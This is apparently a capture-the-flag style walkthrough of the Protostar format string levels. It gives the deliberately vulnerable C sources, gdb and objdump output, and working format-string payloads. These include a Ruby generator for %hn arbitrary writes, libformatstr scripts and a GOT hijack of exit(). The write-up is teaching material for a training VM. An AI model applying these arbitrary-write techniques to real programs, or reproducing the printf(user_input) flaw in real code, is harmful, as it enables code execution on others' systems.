index search github twitter

Exploit-Exercises: Protostar (Format Levels)

Image: Exploit-Exercises: Protostar (v2)

Protostar Format0

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
user@protostar:~$ gdb -q /opt/protostar/bin/format0
...
gdb> disassemble vuln
Dump of assembler code for function vuln:
0x080483f4 <vuln+0>:	push   ebp
0x080483f5 <vuln+1>:	mov    ebp,esp
0x080483f7 <vuln+3>:	sub    esp,0x68
0x080483fa <vuln+6>:	mov    DWORD PTR [ebp-0xc],0x0
0x08048401 <vuln+13>:	mov    eax,DWORD PTR [ebp+0x8]
0x08048404 <vuln+16>:	mov    DWORD PTR [esp+0x4],eax
0x08048408 <vuln+20>:	lea    eax,[ebp-0x4c]
0x0804840b <vuln+23>:	mov    DWORD PTR [esp],eax
0x0804840e <vuln+26>:	call   0x8048300 <sprintf@plt>
0x08048413 <vuln+31>:	mov    eax,DWORD PTR [ebp-0xc]
0x08048416 <vuln+34>:	cmp    eax,0xdeadbeef
0x0804841b <vuln+39>:	jne    0x8048429 <vuln+53>
0x0804841d <vuln+41>:	mov    DWORD PTR [esp],0x8048510
0x08048424 <vuln+48>:	call   0x8048330 <puts@plt>
0x08048429 <vuln+53>:	leave  
0x0804842a <vuln+54>:	ret    
End of assembler dump.

gdb> b *0x08048413
Breakpoint 1 at 0x8048413: file format0/format0.c, line 15.

gdb> r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
...
Breakpoint 1, vuln (string=0x41386341 <Address 0x41386341 out of bounds>) at format0/format0.c:15
15	in format0/format0.c

gdb> x /1xw $ebp-0xc
0xbffff6ec:	0x63413163

From the output above, we can see:

# addr of 'int target':
0x080483fa <vuln+6>:	mov    DWORD PTR [ebp-0xc],0x0

# addr of 'char *string':
0x08048401 <vuln+13>:	mov    eax,DWORD PTR [ebp+0x8]
0x08048404 <vuln+16>:	mov    DWORD PTR [esp+0x4],eax

# addr of 'char buffer[64]':
0x08048408 <vuln+20>:	lea    eax,[ebp-0x4c]

Because the pattern 0x63413163 means offset 64, we could trivially pass the challenge by overflowing buffer array, because int target follows immediately (0x4c - 64 = 0xc):

user@protostar:~$ /opt/protostar/bin/format0 $(ruby -e 'print "A" * 64 + [0xdeadbeef].pack("V")')
you have hit the target correctly :)

This level should be done in less than 10 bytes of input, so let’s try similar approach by overflowing the buffer using format string exploitation.

user@protostar:~$ /opt/protostar/bin/format0 $(ruby -e 'print "%64x" + [0xdeadbeef].pack("V")')
you have hit the target correctly :)

user@protostar:~$ ruby -e 'print "%64x" + [0xdeadbeef].pack("V")' > /tmp/payload

user@protostar:~$ wc -c /tmp/payload 
8 /tmp/payload

user@protostar:~$ /opt/protostar/bin/format0 $(cat /tmp/payload)
you have hit the target correctly :)

Protostar Format1

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

We want to write something to global variable target, stored in bss section. It has fixed address:

user@protostar:~$ objdump -t /opt/protostar/bin/format1 | grep target
08049638 g     O .bss	00000004              target

user@protostar:~$ nm /opt/protostar/bin/format1 | grep target
08049638 B target

To find the DDDD = 0x44444444 on the stack, after a few tries we have:

user@protostar:~$ /opt/protostar/bin/format1 "$(ruby -e 'print "DDDD" + " %p" * 200')"
DDDD 0x804960c 0xbffff528 0x8048469 0xb7fd8304 0xb7fd7ff4 0xbffff528 0x8048435 0xbffff718 0xb7ff1040 0x804845b 0xb7fd7ff4 0x8048450 (nil) 0xbffff5a8 0xb7eadc76 0x2 0xbffff5d4 0xbffff5e0 0xb7fe1848 0xbffff590 0xffffffff 0xb7ffeff4 0x804824d 0x1 0xbffff590 0xb7ff0626 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 (nil) (nil) 0xbffff5a8 0xcec48558 0xe4969348 (nil) (nil) (nil) 0x2 0x8048340 (nil) 0xb7ff6210 0xb7eadb9b 0xb7ffeff4 0x2 0x8048340 (nil) 0x8048361 0x804841c 0x2 0xbffff5d4 0x8048450 0x8048440 0xb7ff1040 0xbffff5cc 0xb7fff8f8 0x2 0xbffff6fd 0xbffff718 (nil) 0xbffff975 0xbffff983 0xbffff997 0xbffff9b8 0xbffff9cb 0xbffff9de 0xbffff9e8 0xbffffed8 0xbfffff16 0xbfffff2a 0xbfffff39 0xbfffff4a 0xbfffff52 0xbfffff62 0xbfffff6f 0xbfffffa3 0xbfffffb2 0xbfffffcf (nil) 0x20 0xb7fe2414 0x21 0xb7fe2000 0x10 0xfabfbff 0x6 0x1000 0x11 0x64 0x3 0x8048034 0x4 0x20 0x5 0x7 0x7 0xb7fe3000 0x8 (nil) 0x9 0x8048340 0xb 0x3e9 0xc (nil) 0xd 0x3e9 0xe 0x3e9 0x17 0x1 0x19 0xbffff6db 0x1f 0xbfffffe1 0xf 0xbffff6eb (nil) (nil) (nil) (nil) (nil) 0xd4000000 0x72facad1 0x50139897 0x39f1f921 0x695501e9 0x363836 (nil) (nil) (nil) 0x706f2f00 0x72702f74 0x736f746f 0x2f726174 0x2f6e6962 0x6d726f66 0x317461 0x44444444 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025

user@protostar:~$ /opt/protostar/bin/format1 "$(ruby -e 'print "DDDD" + " %p" * 140')" 
DDDD 0x804960c 0xbffff5e8 0x8048469 0xb7fd8304 0xb7fd7ff4 0xbffff5e8 0x8048435 0xbffff7cc 0xb7ff1040 0x804845b 0xb7fd7ff4 0x8048450 (nil) 0xbffff668 0xb7eadc76 0x2 0xbffff694 0xbffff6a0 0xb7fe1848 0xbffff650 0xffffffff 0xb7ffeff4 0x804824d 0x1 0xbffff650 0xb7ff0626 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 (nil) (nil) 0xbffff668 0x9cacbe0e 0xb6ff281e (nil) (nil) (nil) 0x2 0x8048340 (nil) 0xb7ff6210 0xb7eadb9b 0xb7ffeff4 0x2 0x8048340 (nil) 0x8048361 0x804841c 0x2 0xbffff694 0x8048450 0x8048440 0xb7ff1040 0xbffff68c 0xb7fff8f8 0x2 0xbffff7b1 0xbffff7cc (nil) 0xbffff975 0xbffff983 0xbffff997 0xbffff9b8 0xbffff9cb 0xbffff9de 0xbffff9e8 0xbffffed8 0xbfffff16 0xbfffff2a 0xbfffff39 0xbfffff4a 0xbfffff52 0xbfffff62 0xbfffff6f 0xbfffffa3 0xbfffffb2 0xbfffffcf (nil) 0x20 0xb7fe2414 0x21 0xb7fe2000 0x10 0xfabfbff 0x6 0x1000 0x11 0x64 0x3 0x8048034 0x4 0x20 0x5 0x7 0x7 0xb7fe3000 0x8 (nil) 0x9 0x8048340 0xb 0x3e9 0xc (nil) 0xd 0x3e9 0xe 0x3e9 0x17 0x1 0x19 0xbffff79b 0x1f 0xbfffffe1 0xf 0xbffff7ab (nil) (nil) (nil) (nil) (nil) 0xd3000000 0xaf79b817 0x53b8b1a3 0x6ce5252 0x69b1ee44 0x363836 0x706f2f00 0x72702f74 0x736f746f 0x2f726174 0x2f6e6962 0x6d726f66 0x317461 0x44444444 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025

user@protostar:~$ /opt/protostar/bin/format1 "DDDD %140\$x"
DDDD 78243034

user@protostar:~$ /opt/protostar/bin/format1 "DDDD %139\$x"
DDDD 31252044

user@protostar:~$ /opt/protostar/bin/format1 "DDDD %138\$x"
DDDD 44444400

user@protostar:~$ /opt/protostar/bin/format1 "DDDD  %138\$x"
DDDD  44444444

user@protostar:~$ /opt/protostar/bin/format1 "$(ruby -e 'print "DDDD  %138\$x"')"
DDDD  44444444

user@protostar:~$ /opt/protostar/bin/format1 "$(ruby -e 'print [0x44444444].pack("V") + "  %138\$x"')"
DDDD  44444444

user@protostar:~$ /opt/protostar/bin/format1 "$(ruby -e 'print [0x08049638].pack("V") + "  %138\$x"')"
8  8049638

user@protostar:~$ /opt/protostar/bin/format1 "$(ruby -e 'print [0x08049638].pack("V") + "  %138\$n"')"
8  you have modified the target :)

Protostar Format2

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);
  
  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}
user@protostar:~$ ruby -e 'print "DDDD" + " %p" * 10' | /opt/protostar/bin/format2 
DDDD 0x200 0xb7fd8420 0xbffff5d4 0x44444444 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070target is 0 :(

user@protostar:~$ ruby -e 'print "DDDD %4\$p"' | /opt/protostar/bin/format2 
DDDD 0x44444444target is 0 :(

user@protostar:~$ nm /opt/protostar/bin/format2 | grep target
080496e4 B target

user@protostar:~$ ruby -e 'print [0x080496e4].pack("V") + " %4\$p"' | /opt/protostar/bin/format2
 0x80496e4target is 0 :(

user@protostar:~$ ruby -e 'print [0x080496e4].pack("V") + " %4\$n"' | /opt/protostar/bin/format2
 target is 5 :(

user@protostar:~$ ruby -e 'print [0x080496e4].pack("V") + " %4\$x %4\$n"' | /opt/protostar/bin/format2
 80496e4 target is 13 :(

user@protostar:~$ ruby -e 'print [0x080496e4].pack("V") + " %4\$61x %4\$n"' | /opt/protostar/bin/format2
                                                       80496e4 target is 67 :(

user@protostar:~$ ruby -e 'print [0x080496e4].pack("V") + " %4\$58x %4\$n"' | /opt/protostar/bin/format2
                                                    80496e4 you have modified the target :)

Protostar Format3

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}
user@protostar:~$ ruby -e 'print "DDDD" + " %p" * 25' | /opt/protostar/bin/format3
DDDD (nil) 0xbffff590 0xb7fd7ff4 (nil) (nil) 0xbffff798 0x804849d 0xbffff590 0x200 0xb7fd8420 0xbffff5d4 0x44444444 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520target is 00000000 :(

user@protostar:~$ ruby -e 'print "DDDD %12\$p"' | /opt/protostar/bin/format3 
DDDD 0x44444444target is 00000000 :(

user@protostar:~$ nm /opt/protostar/bin/format3 | grep target
080496f4 B target

We need to rewrite the address at 0x080496f4 with the value 0x01025544. For this purpose we prepare simple ruby script to calculate the exact format string:

#!/usr/bin/env ruby

def check_param(fmt)
    return if fmt =~ /\d+:0x\h+:0x\h+/
    puts "syntax: #{$0} <position:target_address:shellcode_address>"
    exit
end

fmt = ARGV[0]
check_param(fmt)

offset, target_addr, shellcode_addr = fmt.split(":")

# get high / low ordered bytes, remove 0x prefix
hob = shellcode_addr[2,4].to_i(16)
lob = shellcode_addr[6,4].to_i(16)
addr = target_addr[2,8]
o = offset.to_i

a = []
if (hob > lob)
    f = lob - 8; s = hob - lob; a << addr; a << "%08x" % (addr.to_i(16)+2)
else
    f = hob - 8; s = lob - hob; a << "%08x" % (addr.to_i(16)+2); a << addr
end

puts "ruby -e 'print [0x#{a[0]}].pack(\"V\") + [0x#{a[1]}].pack(\"V\") + \"%#{o}\\$#{f}x%#{o}\\$hn%#{o+1}\\$#{s}x%#{o+1}\\$hn\"'"
user@protostar:~$ ruby1.9.1 ./formatter.rb 12:0x080496f4:0x01025544
ruby -e 'print [0x080496f6].pack("V") + [0x080496f4].pack("V") + "%12\$250x%12\$hn%13\$21570x%13\$hn"'

user@protostar:~$ ruby -e 'print [0x080496f6].pack("V") + [0x080496f4].pack("V") + "%12\$250x%12\$hn%13\$21570x%13\$hn"' | /opt/protostar/bin/format3 
...
80496f4you have modified the target :)

The challenge could be also solved with hellman’s libformatstr.py.

user@protostar:~$ git clone https://github.com/hellman/libformatstr
Cloning into libformatstr...
remote: Counting objects: 51, done.
remote: Total 51 (delta 0), reused 0 (delta 0), pack-reused 51
Unpacking objects: 100% (51/51), done.

user@protostar:~$ cd libformatstr/
#!/usr/bin/env python

import sys
from libformatstr import FormatStr

destination   = 0x080496f4
what_to_write = 0x01025544

p = FormatStr()
p[destination] = what_to_write

# buf is 12th argument, 0 bytes are already printed
sys.stdout.write(p.payload(12, start_len=0))
user@protostar:~/libformatstr$ python ./exploit-format3.py  | /opt/protostar/bin/format3 
...
 p??you have modified the target :)

Protostar Format4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}
user@protostar:~$ ruby -e 'print "DDDD" + " %p" * 25' | /opt/protostar/bin/format4
DDDD 0x200 0xb7fd8420 0xbffff5b4 0x44444444 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x702520 0x1000 0x1

user@protostar:~$ ruby -e 'print "DDDD %4\$p"' | /opt/protostar/bin/format4
DDDD 0x44444444

user@protostar:~$ objdump -TR /opt/protostar/bin/format4

/opt/protostar/bin/format4:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*	00000000              __gmon_start__
00000000      DF *UND*	00000000  GLIBC_2.0   fgets
00000000      DF *UND*	00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*	00000000  GLIBC_2.0   _exit
00000000      DF *UND*	00000000  GLIBC_2.0   printf
00000000      DF *UND*	00000000  GLIBC_2.0   puts
00000000      DF *UND*	00000000  GLIBC_2.0   exit
080485ec g    DO .rodata	00000004  Base        _IO_stdin_used
08049730 g    DO .bss	00000004  GLIBC_2.0   stdin


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
080496fc R_386_GLOB_DAT    __gmon_start__
08049730 R_386_COPY        stdin
0804970c R_386_JUMP_SLOT   __gmon_start__
08049710 R_386_JUMP_SLOT   fgets
08049714 R_386_JUMP_SLOT   __libc_start_main
08049718 R_386_JUMP_SLOT   _exit
0804971c R_386_JUMP_SLOT   printf
08049720 R_386_JUMP_SLOT   puts
08049724 R_386_JUMP_SLOT   exit


user@protostar:~$ objdump -d -j .plt /opt/protostar/bin/format4 

/opt/protostar/bin/format4:     file format elf32-i386


Disassembly of section .plt:

0804837c <__gmon_start__@plt-0x10>:
 804837c:	ff 35 04 97 04 08    	pushl  0x8049704
 8048382:	ff 25 08 97 04 08    	jmp    *0x8049708
 8048388:	00 00                	add    %al,(%eax)
	...

0804838c <__gmon_start__@plt>:
 804838c:	ff 25 0c 97 04 08    	jmp    *0x804970c
 8048392:	68 00 00 00 00       	push   $0x0
 8048397:	e9 e0 ff ff ff       	jmp    804837c <_init+0x30>

0804839c <fgets@plt>:
 804839c:	ff 25 10 97 04 08    	jmp    *0x8049710
 80483a2:	68 08 00 00 00       	push   $0x8
 80483a7:	e9 d0 ff ff ff       	jmp    804837c <_init+0x30>

080483ac <__libc_start_main@plt>:
 80483ac:	ff 25 14 97 04 08    	jmp    *0x8049714
 80483b2:	68 10 00 00 00       	push   $0x10
 80483b7:	e9 c0 ff ff ff       	jmp    804837c <_init+0x30>

080483bc <_exit@plt>:
 80483bc:	ff 25 18 97 04 08    	jmp    *0x8049718
 80483c2:	68 18 00 00 00       	push   $0x18
 80483c7:	e9 b0 ff ff ff       	jmp    804837c <_init+0x30>

080483cc <printf@plt>:
 80483cc:	ff 25 1c 97 04 08    	jmp    *0x804971c
 80483d2:	68 20 00 00 00       	push   $0x20
 80483d7:	e9 a0 ff ff ff       	jmp    804837c <_init+0x30>

080483dc <puts@plt>:
 80483dc:	ff 25 20 97 04 08    	jmp    *0x8049720
 80483e2:	68 28 00 00 00       	push   $0x28
 80483e7:	e9 90 ff ff ff       	jmp    804837c <_init+0x30>

080483ec <exit@plt>:
 80483ec:	ff 25 24 97 04 08    	jmp    *0x8049724
 80483f2:	68 30 00 00 00       	push   $0x30
 80483f7:	e9 80 ff ff ff       	jmp    804837c <_init+0x30>


user@protostar:~$ nm /opt/protostar/bin/format4 | grep hello
080484b4 T hello

Using Global Offset Table Hijacking technique, we will try to overwrite the 0x08049724 address - jmp in exit(), with 0x080484b4 - symbol hello, at offset 4.

user@protostar:~$ ruby1.9.1 ./formatter.rb 4:0x08049724:0x080484b4
ruby -e 'print [0x08049726].pack("V") + [0x08049724].pack("V") + "%4\$2044x%4\$hn%5\$31920x%5\$hn"'

user@protostar:~$ ruby -e 'print [0x08049726].pack("V") + [0x08049724].pack("V") + "%4\$2044x%4\$hn%5\$31920x%5\$hn"' | /opt/protostar/bin/format4 
...
8049724code execution redirected! you win

Correspondingly:

#!/usr/bin/env python

import sys
from libformatstr import FormatStr

destination   = 0x08049724
what_to_write = 0x080484b4

p = FormatStr()
p[destination] = what_to_write

# buf is 4th argument, 0 bytes are already printed
sys.stdout.write(p.payload(4, start_len=0))
user@protostar:~$ libformatstr/exploit-format4.py | /opt/protostar/bin/format4 
...
AAA&$code execution redirected! you win